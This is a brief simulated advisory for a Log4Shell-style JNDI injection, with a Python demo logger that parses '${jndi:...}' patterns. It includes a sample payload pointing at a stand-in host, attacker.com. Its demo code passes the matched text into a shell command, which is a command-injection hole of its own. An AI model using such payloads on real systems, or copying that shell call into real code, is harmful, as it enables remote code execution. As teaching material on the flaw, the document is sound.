CVE-2026-21011 – Log4j‑style JNDI Injection in Custom Logger (Simulated)

Program Code (Java simulation in Python)

# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re

def log(message):
    # Vulnerable: looks up JNDI-like syntax and executes
    pattern = r'\$\{jndi:(.+?)\}'
    for match in re.finditer(pattern, message):
        lookup = match.group(1)
        if lookup.startswith('ldap://'):
            # Simulate connecting to LDAP and loading a class
            print(f"Loading malicious class from {lookup}")
            subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True)  # just demo

log("User-Agent: ${jndi:ldap://attacker.com/Evil}")

CVE-2026-21011 – JNDI Injection via Custom Logger

Overview

A custom logging framework evaluates ${jndi:...} patterns in log messages, similar to the infamous Log4Shell vulnerability. An attacker can inject a JNDI lookup to load and execute arbitrary code from a remote server.

Vulnerability Details

• Type: Code Injection / JNDI Injection
• Impact: Remote Code Execution.
• Root Cause: The logger parses user‑controlled data and performs dynamic lookups based on the content.

Exploit Demonstration

Run the simulation:

python log4j_sim.py

The script prints that it would load a class from the attacker’s LDAP server.